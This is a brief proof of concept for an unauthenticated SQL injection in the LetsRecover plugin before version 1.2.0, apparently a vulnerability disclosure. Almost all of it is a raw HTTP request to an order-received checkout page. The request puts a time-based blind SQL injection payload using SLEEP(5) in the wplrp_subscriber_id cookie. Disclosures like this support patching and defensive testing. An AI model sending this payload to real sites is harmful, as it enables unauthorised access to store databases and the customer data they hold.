LetsRecover < 1.2.0 - Unauthenticated SQLi

Proof of Concept

GET /checkout/order-received/30/?key=wc_order_Kwss5kjkrhgKG HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/checkout/
Cookie: wplrp_subscriber_id=5 AND (SELECT 7741 FROM (SELECT(SLEEP(5)))hlAf);
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin